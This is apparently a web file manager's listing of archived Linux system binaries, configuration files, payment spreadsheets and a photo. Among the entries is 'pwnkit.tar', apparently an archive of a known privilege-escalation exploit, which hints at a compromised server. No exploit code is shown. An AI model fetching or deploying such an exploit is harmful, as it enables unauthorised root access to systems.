libnsl2.tar.gz File 4.13 KB 0644
libpciaccess0.zip File 6.58 KB 0644
libpcre3.tar File 43 KB 0644
libpcre3.tar.gz File 36.67 KB 0644
libpolkit-gobject-1-0.tar File 8 KB 0644
libpolkit-gobject-1-0.tar.gz File 5.14 KB 0644
libseccomp2.tar File 4.5 KB 0644
libseccomp2.tar.gz File 1.94 KB 0644
libslirp0.tar File 8.5 KB 0644
libslirp0.tar.gz File 3.28 KB 0644
libslirp0.zip File 5.99 KB 0644
libsystemd0.zip File 14.06 KB 0644
libtiff5.zip File 4.14 KB 0644
libtirpc3.tar File 17.5 KB 0644
libtirpc3.tar.gz File 5.13 KB 0644
libxaw7.zip File 10.36 KB 0644
libxmuu1.zip File 5.51 KB 0644
libxxf86vm1.tar File 5 KB 0644
libxxf86vm1.tar.gz File 2.29 KB 0644
limits.tar File 27 KB 0644
limits.tar.gz File 371 B 0644
linux-boot-prober.tar File 3.5 KB 0644
linux-boot-prober.tar.gz File 703 B 0644
linux-check-removal.tar File 5.5 KB 0644
linux-check-removal.tar.gz File 1.86 KB 0644
linux-version.tar File 4.5 KB 0644
linux-version.tar.gz File 1.31 KB 0644
listres.tar File 16.5 KB 0644
listres.tar.gz File 4.32 KB 0644
ln.tar File 60.5 KB 0644
ln.tar.gz File 25.13 KB 0644
lnstat.tar File 24.5 KB 0644
lnstat.tar.gz File 7.57 KB 0644
loadkeys.tar File 200.5 KB 0644
loadkeys.tar.gz File 59.27 KB 0644
local.tar File 119.47 MB 0644
local.tar.gz File 45.47 MB 0644
local.zip File 119.47 MB 0644
locale-archive.tar File 2.91 MB 0644
locale-archive.tar.gz File 674.91 KB 0644
locale.zip File 3.25 MB 0644
localectl.tar File 28 KB 0644
localectl.tar.gz File 8.93 KB 0644
localedef.tar File 328.5 KB 0644
localedef.tar.gz File 139.83 KB 0644
logresolve.tar File 16 KB 0644
logresolve.tar.gz File 3.94 KB 0644
logrotate.tar File 104 KB 0644
logrotate.tar.gz File 40.51 KB 0644
lowntfs-3g.tar File 116.5 KB 0644
lowntfs-3g.tar.gz File 48.82 KB 0644
lsattr.tar File 16 KB 0644
lsattr.tar.gz File 3.97 KB 0644
lsb.zip File 19.77 KB 0644
lsb_release.tar File 5.5 KB 0644
lsb_release.tar.gz File 1.2 KB 0644
lvchange.tar File 2.89 MB 0644
lvchange.tar.gz File 932.15 KB 0644
lvconvert.tar File 2.89 MB 0644
lvconvert.tar.gz File 932.16 KB 0644
lvextend.tar File 2.89 MB 0644
lvextend.tar.gz File 932.15 KB 0644
lvm.tar File 120 KB 0644
lvm.tar.gz File 28 KB 0644
lvmconfig.tar File 2.89 MB 0644
lvmconfig.tar.gz File 932.16 KB 0644
lvmdump.tar File 12 KB 0644
lvmdump.tar.gz File 3.64 KB 0644
lvmsadc.tar File 2.89 MB 0644
lvmsadc.tar.gz File 932.15 KB 0644
lvreduce.tar File 2.89 MB 0644
lvreduce.tar.gz File 932.15 KB 0644
lvrename.tar File 2.89 MB 0644
lvrename.tar.gz File 932.15 KB 0644
lvresize.tar File 2.89 MB 0644
lvresize.tar.gz File 932.15 KB 0644
lzcat.tar File 84.5 KB 0644
lzcat.tar.gz File 33.92 KB 0644
machine-id.tar File 2 KB 0644
machine-id.tar.gz File 120 B 0644
magic.mime.mime.tar.gz File 177 B 0644
magic.mime.tar File 2 KB 0644
make-ssl-cert.tar File 8.5 KB 0644
make-ssl-cert.tar.gz File 2.42 KB 0644
man.tar File 119.5 KB 0644
man.tar.gz File 51.43 KB 0644
mandb.tar File 282 KB 0644
mandb.tar.gz File 58.62 KB 0644
manifest.tar File 3.5 KB 0644
manifest.tar.gz File 1012 B 0644
maps.tar File 7.5 KB 0644
maps.tar.gz File 76 B 0644
mariadb-common.tar File 43 KB 0644
mariadb-common.tar.gz File 14.41 KB 0644
mariadb-hotcopy.tar File 36 KB 0644
mariadb-hotcopy.tar.gz File 11.7 KB 0644
mariadb-repair.tar File 3.86 MB 0644
mariadb-repair.tar.gz File 1007.13 KB 0644
mariadb-report.tar File 50 KB 0644
mariadb-report.tar.gz File 11.71 KB 0644
mariadb-setpermission.tar File 19.5 KB 0644
mariadb-setpermission.tar.gz File 5.31 KB 0644
mariadb-waitpid.tar File 3.54 MB 0644
mariadb-waitpid.tar.gz File 891 KB 0644
mariadb.tar File 4.09 MB 0644
mariadb.tar.gz File 1.07 MB 0644
mc.tar File 1.34 MB 0644
mc.tar.gz File 70.22 KB 0644
mc.zip File 253.13 KB 0644
mcookie.tar File 28 KB 0644
mcookie.tar.gz File 8.89 KB 0644
mcview.tar File 1.05 MB 0644
mcview.tar.gz File 505.34 KB 0644
md5sum.textutils.tar File 44 KB 0644
md5sum.textutils.textutils.tar.gz File 17.39 KB 0644
migrate-pubring-from-classic-gpg.tar File 4.5 KB 0644
migrate-pubring-from-classic-gpg.tar.gz File 1.4 KB 0644
mime.zip File 7.24 KB 0644
mke2fs.conf.conf.tar.gz File 420 B 0644
mke2fs.conf.tar File 2.5 KB 0644
mkfs.btrfs.btrfs.tar.gz File 262.4 KB 0644
mkfs.btrfs.tar File 473 KB 0644
mkfs.ext3.ext3.tar.gz File 56.91 KB 0644
mkfs.ext3.tar File 132.5 KB 0644
mkfs.ext4.ext4.tar.gz File 56.91 KB 0644
mkfs.ext4.tar File 132.5 KB 0644
mkfs.fat.fat.tar.gz File 21.77 KB 0644
mkfs.fat.tar File 52.5 KB 0644
mkfs.minix.minix.tar.gz File 17.04 KB 0644
mkfs.minix.tar File 44 KB 0644
mkfs.msdos.msdos.tar.gz File 21.77 KB 0644
mkfs.msdos.tar File 52.5 KB 0644
mkfs.ntfs.ntfs.tar.gz File 29.88 KB 0644
mkfs.ntfs.tar File 72 KB 0644
mkfs.tar File 16 KB 0644
mkfs.tar.gz File 4.26 KB 0644
mkfs.vfat.tar File 52.5 KB 0644
mkfs.vfat.vfat.tar.gz File 21.77 KB 0644
mkhomedir_helper.tar File 24 KB 0644
mkhomedir_helper.tar.gz File 4.16 KB 0644
mkinitramfs.tar File 14 KB 0644
mkinitramfs.tar.gz File 4.63 KB 0644
modprobe.tar File 168 KB 0644
modprobe.tar.gz File 76.67 KB 0644
modules.tar File 6.5 KB 0644
modules.tar.gz File 1.14 KB 0644
motd.dynamic.dynamic.tar.gz File 586 B 0644
motd.dynamic.tar File 2.5 KB 0644
mount.fuse.fuse.tar.gz File 5.3 KB 0644
mount.fuse.tar File 20 KB 0644
mount.fuse3.fuse3.tar.gz File 5.31 KB 0644
mount.fuse3.tar File 20 KB 0644
mount.ntfs.ntfs.tar.gz File 66.87 KB 0644
mount.ntfs.tar File 161 KB 0644
mountinfo.tar File 15 KB 0644
mountinfo.tar.gz File 993 B 0644
mounts.tar File 25 KB 0644
mounts.tar.gz File 706 B 0644
mpath_persist.h.h.tar.gz File 3.21 KB 0644
mpath_persist.h.tar File 13 KB 0644
mpathpersist.tar File 33 KB 0644
mpathpersist.tar.gz File 9.83 KB 0644
msql2mysql.tar File 3 KB 0644
msql2mysql.tar.gz File 818 B 0644
multipath.tar File 36 KB 0644
multipath.tar.gz File 11.79 KB 0644
multipath.zip File 327.11 KB 0644
myisampack.tar File 3.89 MB 0644
myisampack.tar.gz File 1.05 MB 0644
mysql_fix_extensions.tar File 3 KB 0644
mysql_fix_extensions.tar.gz File 841 B 0644
mysql_install_db.tar File 24 KB 0644
mysql_install_db.tar.gz File 7.16 KB 0644
mysql_setpermission.tar File 19.5 KB 0644
mysql_setpermission.tar.gz File 5.31 KB 0644
mysql_tzinfo_to_sql.tar File 3.55 MB 0644
mysql_tzinfo_to_sql.tar.gz File 896.57 KB 0644
mysqlbinlog.tar File 4.12 MB 0644
mysqlbinlog.tar.gz File 1.11 MB 0644
mysqlcheck.tar File 3.86 MB 0644
mysqlcheck.tar.gz File 1007.13 KB 0644
mysqld_safe.tar File 32 KB 0644
mysqld_safe.tar.gz File 10.3 KB 0644
mysqld_safe_helper.tar File 3.51 MB 0644
mysqld_safe_helper.tar.gz File 875.83 KB 0644
mysqlhotcopy.tar File 36 KB 0644
mysqlhotcopy.tar.gz File 11.7 KB 0644
mysqloptimize.tar File 3.86 MB 0644
mysqloptimize.tar.gz File 1007.13 KB 0644
nawk.tar File 690 KB 0644
nawk.tar.gz File 344.97 KB 0644
neqn.tar File 2.5 KB 0644
neqn.tar.gz File 644 B 0644
netcat-openbsd.zip File 35.47 KB 0644
netplan.zip File 155.89 KB 0644
network.tar File 2 KB 0644
network.tar.gz File 166 B 0644
networkctl.tar File 104 KB 0644
networkctl.tar.gz File 42.14 KB 0644
newgrp.tar File 41.5 KB 0644
newgrp.tar.gz File 13.4 KB 0644
newusers.tar File 76.5 KB 0644
newusers.tar.gz File 29.13 KB 0644
nfnl_osf.tar File 20 KB 0644
nfnl_osf.tar.gz File 5.06 KB 0644
nft.tar File 28 KB 0644
nft.tar.gz File 7.08 KB 0644
ngettext.tar File 36 KB 0644
ngettext.tar.gz File 10.84 KB 0644
nginx.pid.pid.tar.gz File 76 B 0644
nginx.pid.tar File 1.5 KB 0644
nginx.tar File 1.56 MB 0644
nginx.tar.gz File 528.32 KB 0644
nl.tar File 100.5 KB 0644
nl.tar.gz File 48.09 KB 0644
nsenter.tar File 28.5 KB 0644
nsenter.tar.gz File 7.55 KB 0644
nslookup.tar File 120.5 KB 0644
nslookup.tar.gz File 48.47 KB 0644
ntfs-3g.probe.probe.tar.gz File 3.05 KB 0644
ntfs-3g.probe.tar File 16 KB 0644
ntfs-3g.tar File 161 KB 0644
ntfs-3g.tar.gz File 66.87 KB 0644
ntfsclone.tar File 52 KB 0644
ntfsclone.tar.gz File 20 KB 0644
ntfscmp.tar File 32 KB 0644
ntfscmp.tar.gz File 9.16 KB 0644
ntfsfix.tar File 36 KB 0644
ntfsfix.tar.gz File 12.3 KB 0644
ntfsls.tar File 29 KB 0644
ntfsls.tar.gz File 8.66 KB 0644
ntfsmove.tar File 32 KB 0644
ntfsmove.tar.gz File 11.06 KB 0644
ntfsresize.tar File 64 KB 0644
ntfsresize.tar.gz File 27.94 KB 0644
ntfsundelete.tar File 52 KB 0644
ntfsundelete.tar.gz File 19.57 KB 0644
ntfsusermap.tar File 20 KB 0644
ntfsusermap.tar.gz File 7.08 KB 0644
numa_maps.tar File 4 KB 0644
numa_maps.tar.gz File 81 B 0644
nvacps.tar File 2 KB 0644
nvacps.tar.gz File 186 B 0644
nvacps.zip File 258 B 0644
nvidia-detector.tar File 2 KB 0644
nvidia-detector.tar.gz File 249 B 0644
on_ac_power.tar File 5.5 KB 0644
on_ac_power.tar.gz File 1.57 KB 0644
oom_adj.tar File 11 KB 0644
oom_adj.tar.gz File 90 B 0644
oom_score.tar File 3 KB 0644
oom_score.tar.gz File 92 B 0644
oom_score_adj.tar File 9 KB 0644
oom_score_adj.tar.gz File 96 B 0644
open-iscsi.zip File 29.66 KB 0644
open.tar File 20 KB 0644
open.tar.gz File 5.04 KB 0644
openssh.tar File 676 KB 0644
openssh.tar.gz File 280.98 KB 0644
openssh.zip File 671.5 KB 0644
os-prober.tar File 9.5 KB 0644
os-prober.tar.gz File 3.89 KB 0644
overlayroot-chroot.tar File 4 KB 0644
overlayroot-chroot.tar.gz File 1.25 KB 0644
pam-auth-update.tar File 22 KB 0644
pam-auth-update.tar.gz File 7.25 KB 0644
pam.d.zip File 522 B 0644
pam_getenv.tar File 4.5 KB 0644
pam_getenv.tar.gz File 1.43 KB 0644
parted.tar File 88 KB 0644
parted.tar.gz File 35.24 KB 0644
payments 2025-05-28 15-23-40.xlsx.tar File 8.5 KB 0644
payments 2025-05-28 15-23-40.xlsx.xlsx.tar.gz File 6.15 KB 0644
payments 2025-05-28 15-24-23.xlsx.tar File 8.5 KB 0644
payments 2025-05-28 15-24-23.xlsx.xlsx.tar.gz File 6.16 KB 0644
payments 2025-05-28 15-32-07.xlsx.tar File 8.5 KB 0644
payments 2025-05-28 15-32-07.xlsx.xlsx.tar.gz File 6.16 KB 0644
payments 2025-05-29 03-55-40.xlsx.tar File 8.5 KB 0644
payments 2025-05-29 03-55-40.xlsx.xlsx.tar.gz File 6.16 KB 0644
payments 2025-05-30 07-55-52.xlsx.tar File 9 KB 0644
payments 2025-05-30 07-55-52.xlsx.xlsx.tar.gz File 6.44 KB 0644
payments 2025-05-30 07-59-34.xlsx.tar File 9 KB 0644
payments 2025-05-30 07-59-34.xlsx.xlsx.tar.gz File 6.44 KB 0644
payments 2025-07-16 13-57-11.xlsx.tar File 8.5 KB 0644
payments 2025-07-16 13-57-11.xlsx.xlsx.tar.gz File 6.32 KB 0644
payments 2025-07-16 14-04-06.xlsx.tar File 9.5 KB 0644
payments 2025-07-16 14-04-06.xlsx.xlsx.tar.gz File 7.3 KB 0644
payments 2025-07-16 15-16-08.xlsx.tar File 9.5 KB 0644
payments 2025-07-16 15-16-08.xlsx.xlsx.tar.gz File 7.3 KB 0644
payments 2025-07-18 12-09-36.xlsx.tar File 10 KB 0644
payments 2025-07-18 12-09-36.xlsx.xlsx.tar.gz File 7.9 KB 0644
payments 2025-07-18 12-09-53.xlsx.tar File 10 KB 0644
payments 2025-07-18 12-09-53.xlsx.xlsx.tar.gz File 7.9 KB 0644
payments 2025-08-01 07-45-11.xlsx.tar File 9.5 KB 0644
payments 2025-08-01 07-45-11.xlsx.xlsx.tar.gz File 7 KB 0644
payments 2025-08-01 09-00-13.xlsx.tar File 9.5 KB 0644
payments 2025-08-01 09-00-13.xlsx.xlsx.tar.gz File 7 KB 0644
pbget.tar File 4.5 KB 0644
pbget.tar.gz File 1.3 KB 0644
pbput.tar File 4.5 KB 0644
pbput.tar.gz File 1.3 KB 0644
pbputs.tar File 4.5 KB 0644
pbputs.tar.gz File 1.3 KB 0644
perl.tar File 2.5 KB 0644
perl.tar.gz File 376 B 0644
perl.zip File 773 B 0644
perl5.34.0.34.0.tar.gz File 1.25 MB 0644
perl5.34.0.tar File 3.63 MB 0644
perlivp.tar File 12.5 KB 0644
perlivp.tar.gz File 3.6 KB 0644
perror.tar File 3.73 MB 0644
perror.tar.gz File 944.34 KB 0644
pg_config.tar File 3 KB 0644
pg_config.tar.gz File 772 B 0644
pg_ctlcluster.tar File 24.5 KB 0644
pg_ctlcluster.tar.gz File 7.32 KB 0644
pg_dropcluster.tar File 10 KB 0644
pg_dropcluster.tar.gz File 2.88 KB 0644
pg_dumpall.tar File 11 KB 0644
pg_dumpall.tar.gz File 3.65 KB 0644
pg_isready.tar File 11 KB 0644
pg_isready.tar.gz File 3.65 KB 0644
pg_lsclusters.tar File 7 KB 0644
pg_lsclusters.tar.gz File 2.39 KB 0644
pg_receivewal.tar File 11 KB 0644
pg_receivewal.tar.gz File 3.66 KB 0644
pg_restore.tar File 11 KB 0644
pg_restore.tar.gz File 3.65 KB 0644
pg_restorecluster.tar File 15 KB 0644
pg_restorecluster.tar.gz File 4.08 KB 0644
phar8.3.3.tar.gz File 14.48 KB 0644
phar8.3.tar File 16.5 KB 0644
phar8.4.4.tar.gz File 14.49 KB 0644
phar8.4.tar File 16.5 KB 0644
photo_2026-01-13_13-45-49.jpg.jpg.tar.gz File 141.67 KB 0644
photo_2026-01-13_13-45-49.jpg.tar File 144.5 KB 0644
php-fpm8.3.3.tar.gz File 2.13 MB 0644
php-fpm8.3.tar File 5.51 MB 0644
php8.3-gd.tar File 2 KB 0644
php8.3-gd.tar.gz File 145 B 0644
php8.3.3.tar.gz File 2.12 MB 0644
php8.3.tar File 5.53 MB 0644
php8.4.4.tar.gz File 2.19 MB 0644
php8.4.tar File 5.75 MB 0644
phpenmod.tar File 9 KB 0644
phpenmod.tar.gz File 2.38 KB 0644
pico.tar File 278.5 KB 0644
pico.tar.gz File 135.37 KB 0644
piconv.tar File 10 KB 0644
piconv.tar.gz File 3.05 KB 0644
pigz.tar File 136 KB 0644
pigz.tar.gz File 64.25 KB 0644
pinky.tar File 36 KB 0644
pinky.tar.gz File 13.52 KB 0644
pkcon.tar File 60 KB 0644
pkcon.tar.gz File 19.29 KB 0644
pki.zip File 10.51 KB 0644
pl2pm.tar File 6 KB 0644
pl2pm.tar.gz File 2.16 KB 0644
pldd.tar File 24 KB 0644
pldd.tar.gz File 6.01 KB 0644
plymouth.tar File 48 KB 0644
plymouth.tar.gz File 16.12 KB 0644
plymouthd.tar File 152.5 KB 0644
plymouthd.tar.gz File 42.64 KB 0644
pod2html.tar File 6 KB 0644
pod2html.tar.gz File 1.6 KB 0644
pod2man.tar File 16.5 KB 0644
pod2man.tar.gz File 5.95 KB 0644
pod2usage.tar File 6 KB 0644
pod2usage.tar.gz File 1.81 KB 0644
podchecker.tar File 5.5 KB 0644
podchecker.tar.gz File 1.68 KB 0644
pollinate.tar File 5.5 KB 0644
pollinate.tar.gz File 2.09 KB 0644
postgresql-common.zip File 3.63 KB 0644
power.tar File 32 KB 0644
power.tar.gz File 889 B 0644
poweroff.tar File 1.07 MB 0644
poweroff.tar.gz File 508.75 KB 0644
printenv.tar File 32 KB 0644
printenv.tar.gz File 10.12 KB 0644
printf.tar File 52 KB 0644
printf.tar.gz File 20.07 KB 0644
prlimit.tar File 28.5 KB 0644
prlimit.tar.gz File 8.7 KB 0644
projid_map.tar File 8 KB 0644
projid_map.tar.gz File 112 B 0644
prove.tar File 15 KB 0644
prove.tar.gz File 5.32 KB 0644
prtstat.tar File 24 KB 0644
prtstat.tar.gz File 6.5 KB 0644
psfaddtable.tar File 28 KB 0644
psfaddtable.tar.gz File 9.69 KB 0644
psfgettable.tar File 28 KB 0644
psfgettable.tar.gz File 9.69 KB 0644
psfxtable.tar File 28 KB 0644
psfxtable.tar.gz File 9.69 KB 0644
psql.tar File 11 KB 0644
psql.tar.gz File 3.65 KB 0644
pstree.tar File 37 KB 0644
pstree.tar.gz File 13.34 KB 0644
pstree.x11.tar File 37 KB 0644
pstree.x11.x11.tar.gz File 13.34 KB 0644
ptar.tar File 5 KB 0644
ptar.tar.gz File 1.64 KB 0644
pvchange.tar File 2.89 MB 0644
pvchange.tar.gz File 932.15 KB 0644
pvcreate.tar File 2.89 MB 0644
pvcreate.tar.gz File 932.15 KB 0644
pvdisplay.tar File 2.89 MB 0644
pvdisplay.tar.gz File 932.16 KB 0644
pwck.tar File 52 KB 0644
pwck.tar.gz File 18.29 KB 0644
pwdx.tar File 16 KB 0644
pwdx.tar.gz File 3.86 KB 0644
pwnkit.tar File 12.5 KB 0644
pwnkit.tar.gz File 3.9 KB 0644
pydoc3.10.10.tar.gz File 155 B 0644
pydoc3.10.tar File 2 KB 0644
python3-pkg-resources.tar File 36.5 KB 0644
python3-pkg-resources.tar.gz File 31.62 KB 0644
python3-yaml.zip File 34.79 KB 0644
python3-zope.hookable.zip File 3.87 KB 0644
python3.10.10.tar.gz File 2.47 MB 0644
python3.10.tar File 5.67 MB 0644
python3.10.tar.gz File 2.47 MB 0644
pzstd.tar File 704 KB 0644
pzstd.tar.gz File 299.87 KB 0644
quirks-handler.tar File 4 KB 0644
quirks-handler.tar.gz File 1.09 KB 0644
rbash.tar File 1.33 MB 0644
rbash.tar.gz File 650.46 KB 0644
readprofile.tar File 24 KB 0644
readprofile.tar.gz File 6.76 KB 0644
reboot-required.pkgs.pkgs.tar.gz File 114 B 0644
reboot-required.pkgs.tar File 2 KB 0644
reboot.tar File 1.07 MB 0644
reboot.tar.gz File 508.75 KB 0644
redis-benchmark.tar File 732.5 KB 0644
redis-benchmark.tar.gz File 206.08 KB 0644
redis-check-aof.tar File 1.41 MB 0644
redis-check-aof.tar.gz File 656.89 KB 0644
redis-check-rdb.tar File 1.41 MB 0644
redis-check-rdb.tar.gz File 656.89 KB 0644
redis-server.tar File 1.41 MB 0644
redis-server.tar.gz File 656.89 KB 0644
remove-shell.tar File 3 KB 0644
remove-shell.tar.gz File 628 B 0644
resize2fs.tar File 68 KB 0644
resize2fs.tar.gz File 26.72 KB 0644
resizecons.tar File 28 KB 0644
resizecons.tar.gz File 8.66 KB 0644
resolveip.tar File 3.54 MB 0644
resolveip.tar.gz File 891.42 KB 0644
rmiregistry.tar File 16 KB 0644
rmiregistry.tar.gz File 2.5 KB 0644
rmt-tar.tar File 60.5 KB 0644
rmt-tar.tar.gz File 25.78 KB 0644
rotatelogs.tar File 28 KB 0644
rotatelogs.tar.gz File 7.88 KB 0644
rrsync.tar File 14 KB 0644
rrsync.tar.gz File 4.51 KB 0644
rsync.zip File 74.36 KB 0644
rsyslogd.tar File 769 KB 0644
rsyslogd.tar.gz File 330.26 KB 0644
rtc.tar File 2 KB 0644
rtc.tar.gz File 274 B 0644
rtmon.tar File 92 KB 0644
rtmon.tar.gz File 37.85 KB 0644
run-one.tar File 5.5 KB 0644
run-one.tar.gz File 1.67 KB 0644
run-parts.tar File 28.5 KB 0644
run-parts.tar.gz File 7.93 KB 0644
run-this-one.tar File 5.5 KB 0644
run-this-one.tar.gz File 1.68 KB 0644
runcon.tar File 36.5 KB 0644
runcon.tar.gz File 12.01 KB 0644
runlevel.tar File 1.07 MB 0644
runlevel.tar.gz File 508.75 KB 0644
rvim.tar File 3.61 MB 0644
rvim.tar.gz File 1.85 MB 0644
samurai_activity.log.log.tar.gz File 294 B 0644
samurai_activity.log.tar File 2 KB 0644
sar.sysstat.sysstat.tar.gz File 53.28 KB 0644
sar.sysstat.tar File 135 KB 0644
sbvarsign.tar File 24.5 KB 0644
sbvarsign.tar.gz File 7.77 KB 0644
sbverify.tar File 36.5 KB 0644
sbverify.tar.gz File 11.54 KB 0644
sched.tar File 11.5 KB 0644
sched.tar.gz File 538 B 0644
schedstat.tar File 6 KB 0644
schedstat.tar.gz File 94 B 0644
screendump.tar File 16 KB 0644
screendump.tar.gz File 3.92 KB 0644
scsi.zip File 6.24 KB 0644
scsi_satl.tar File 5.5 KB 0644
scsi_satl.tar.gz File 1.6 KB 0644
sensible-pager.tar File 2.5 KB 0644
sensible-pager.tar.gz File 455 B 0644
sensors.d.tar File 1.5 KB 0644
sensors.d.tar.gz File 75 B 0644
sensors3.conf.conf.tar.gz File 1.93 KB 0644
sensors3.conf.tar File 12 KB 0644
services.tar File 14.5 KB 0644
services.tar.gz File 5.32 KB 0644
session-migration.tar File 24 KB 0644
session-migration.tar.gz File 5.17 KB 0644
sessionid.tar File 8 KB 0644
sessionid.tar.gz File 102 B 0644
setgroups.tar File 9 KB 0644
setgroups.tar.gz File 95 B 0644
setlogcons.tar File 16 KB 0644
setlogcons.tar.gz File 3.37 KB 0644
setvtrgb.tar File 16 KB 0644
setvtrgb.tar.gz File 4.7 KB 0644
sfdisk.tar File 104 KB 0644
sfdisk.tar.gz File 40.41 KB 0644
sg_copy_results.tar File 25 KB 0644
sg_copy_results.tar.gz File 6.25 KB 0644
sg_decode_sense.tar File 16.5 KB 0644
sg_decode_sense.tar.gz File 5.66 KB 0644
sg_opcodes.tar File 37 KB 0644
sg_opcodes.tar.gz File 11.58 KB 0644
sg_raw.tar File 28.5 KB 0644
sg_raw.tar.gz File 8.98 KB 0644
sg_read_long.tar File 16.5 KB 0644
sg_read_long.tar.gz File 4.82 KB 0644
sg_reassign.tar File 16.5 KB 0644
sg_reassign.tar.gz File 5.87 KB 0644
sg_rmsn.tar File 16.5 KB 0644
sg_rmsn.tar.gz File 3.97 KB 0644
sg_sanitize.tar File 29 KB 0644
sg_sanitize.tar.gz File 9.21 KB 0644
sg_sat_set_features.tar File 20.5 KB 0644
sg_sat_set_features.tar.gz File 5.46 KB 0644
sg_ses_microcode.tar File 29 KB 0644
sg_ses_microcode.tar.gz File 10.11 KB 0644
sg_sync.tar File 16.5 KB 0644
sg_sync.tar.gz File 4.5 KB 0644
sg_vpd.tar File 116 KB 0644
sg_vpd.tar.gz File 44.28 KB 0644
sg_wr_mode.tar File 24.5 KB 0644
sg_wr_mode.tar.gz File 7.38 KB 0644
sg_write_verify.tar File 28.5 KB 0644
sg_write_verify.tar.gz File 7.22 KB 0644
sg_write_x.tar File 57.5 KB 0644
sg_write_x.tar.gz File 20.81 KB 0644
sgdisk.tar File 164 KB 0644
sgdisk.tar.gz File 73.45 KB 0644
sha256sum.tar File 52 KB 0644
sha256sum.tar.gz File 22.17 KB 0644
sha512sum.tar File 60 KB 0644
sha512sum.tar.gz File 24.1 KB 0644
shablon-akta-sverki-1-1.docx.docx.tar.gz File 22.85 KB 0644
shablon-akta-sverki-1-1.docx.tar File 58 KB 0644
shasum.tar File 11.5 KB 0644
shasum.tar.gz File 4.06 KB 0644
shm.tar File 2.5 KB 0644
shm.tar.gz File 265 B 0644
showconsolefont.tar File 20 KB 0644
showconsolefont.tar.gz File 6.97 KB 0644
shutdown.tar File 1.07 MB 0644
shutdown.tar.gz File 508.75 KB 0644
skel.tar File 8 KB 0644
skel.tar.gz File 2.18 KB 0644
slabtop.tar File 24 KB 0644
slabtop.tar.gz File 7.01 KB 0644
smaps.tar File 5 KB 0644
smaps.tar.gz File 76 B 0644
smaps_rollup.tar File 6 KB 0644
smaps_rollup.tar.gz File 83 B 0644
snapd.tar File 32.5 KB 0644
snapd.tar.gz File 29.77 KB 0644
snapd.zip File 2.29 KB 0644
snapfuse.tar File 40 KB 0644
snapfuse.tar.gz File 15.45 KB 0644
snice.tar File 32 KB 0644
snice.tar.gz File 9.86 KB 0644
soelim.tar File 32 KB 0644
soelim.tar.gz File 14.39 KB 0644
sos-collector.tar File 3 KB 0644
sos-collector.tar.gz File 713 B 0644
sosreport.tar File 3 KB 0644
sosreport.tar.gz File 705 B 0644
split.tar File 52.5 KB 0644
split.tar.gz File 21.93 KB 0644
splitfont.tar File 16 KB 0644
splitfont.tar.gz File 2.97 KB 0644
squashfs-tools.zip File 2.56 KB 0644
src.tar File 100.52 MB 0644
src.tar.gz File 22.38 MB 0644
ssh-add.tar File 168 KB 0644
ssh-add.tar.gz File 77.31 KB 0644
ssh-agent.tar File 288 KB 0644
ssh-agent.tar.gz File 120.2 KB 0644
ssh.tar File 829 KB 0644
ssh.tar.gz File 379.08 KB 0644
sshd.tar File 901.5 KB 0644
sshd.tar.gz File 412.18 KB 0644
stat.tar File 86.5 KB 0644
stat.tar.gz File 165 B 0644
stat.zip File 1.95 KB 0644
statm.tar File 5 KB 0644
statm.tar.gz File 91 B 0644
status.tar File 10.5 KB 0644
status.tar.gz File 422 B 0644
stdbuf.tar File 44.5 KB 0644
stdbuf.tar.gz File 18.33 KB 0644
subgid.tar File 2 KB 0644
subgid.tar.gz File 112 B 0644
sudo.tar File 228.5 KB 0644
sudo.tar.gz File 100.2 KB 0644
sudo_logsrvd.conf.conf.tar.gz File 2.96 KB 0644
sudo_logsrvd.conf.tar File 11 KB 0644
sudo_logsrvd.tar File 202 KB 0644
sudo_logsrvd.tar.gz File 83.83 KB 0644
sudo_sendlog.tar File 109 KB 0644
sudo_sendlog.tar.gz File 41.41 KB 0644
sudoreplay.tar File 89.5 KB 0644
sudoreplay.tar.gz File 35.02 KB 0644
swapoff.tar File 24 KB 0644
swapoff.tar.gz File 6.6 KB 0644
swaps.tar File 2 KB 0644
swaps.tar.gz File 152 B 0644
switch_root.tar File 24 KB 0644
switch_root.tar.gz File 4.95 KB 0644
sysstat.zip File 8.42 KB 0644
systemctl.tar File 1.07 MB 0644
systemctl.tar.gz File 508.74 KB 0644
systemd-ask-password.tar File 20 KB 0644
systemd-ask-password.tar.gz File 5.26 KB 0644
systemd-cgls.tar File 24 KB 0644
systemd-cgls.tar.gz File 5.91 KB 0644
systemd-cgtop.tar File 40 KB 0644
systemd-cgtop.tar.gz File 12.93 KB 0644
systemd-escape.tar File 24 KB 0644
systemd-escape.tar.gz File 5.59 KB 0644
systemd-hwdb.tar File 120.5 KB 0644
systemd-hwdb.tar.gz File 56.12 KB 0644
systemd-inhibit.tar File 24 KB 0644
systemd-inhibit.tar.gz File 6.98 KB 0644
systemd-mount.tar File 52.5 KB 0644
systemd-mount.tar.gz File 19.8 KB 0644
systemd-run.tar File 64.5 KB 0644
systemd-run.tar.gz File 22.03 KB 0644
tabs.tar File 20 KB 0644
tabs.tar.gz File 6.39 KB 0644
tapestat.tar File 28 KB 0644
tapestat.tar.gz File 9.16 KB 0644
tarcat.tar File 2.5 KB 0644
tarcat.tar.gz File 607 B 0644
tbl.tar File 128 KB 0644
tbl.tar.gz File 53.02 KB 0644
tc.tar File 616 KB 0644
tc.tar.gz File 263.82 KB 0644
tc.zip File 121.12 KB 0644
telnet.tar File 109.5 KB 0644
telnet.tar.gz File 45.18 KB 0644
thin_ls.tar File 1.33 MB 0644
thin_ls.tar.gz File 510.81 KB 0644
thin_metadata_size.tar File 1.33 MB 0644
thin_metadata_size.tar.gz File 510.82 KB 0644
thin_rmap.tar File 1.33 MB 0644
thin_rmap.tar.gz File 510.81 KB 0644
thin_trim.tar File 1.33 MB 0644
thin_trim.tar.gz File 510.81 KB 0644
timedatectl.tar File 48 KB 0644
timedatectl.tar.gz File 15.88 KB 0644
timens_offsets.tar File 3 KB 0644
timens_offsets.tar.gz File 122 B 0644
timers.tar File 5 KB 0644
timers.tar.gz File 77 B 0644
timerslack_ns.tar File 4 KB 0644
timerslack_ns.tar.gz File 86 B 0644
timesync.tar File 1.5 KB 0644
timesync.tar.gz File 75 B 0644
tipc.tar File 92 KB 0644
tipc.tar.gz File 35.1 KB 0644
tkconch3.tar File 2.5 KB 0644
tkconch3.tar.gz File 556 B 0644
tload.tar File 20 KB 0644
tload.tar.gz File 5.09 KB 0644
tmpfiles.d.tar File 2 KB 0644
tmpfiles.d.tar.gz File 239 B 0644
tmpfiles.d.zip File 15.58 KB 0644
tmux.tar File 16 KB 0644
tmux.tar.gz File 6.08 KB 0644
tnftp.tar File 25 KB 0644
tnftp.tar.gz File 7.91 KB 0644
tr.tar File 48.5 KB 0644
tr.tar.gz File 18.09 KB 0644
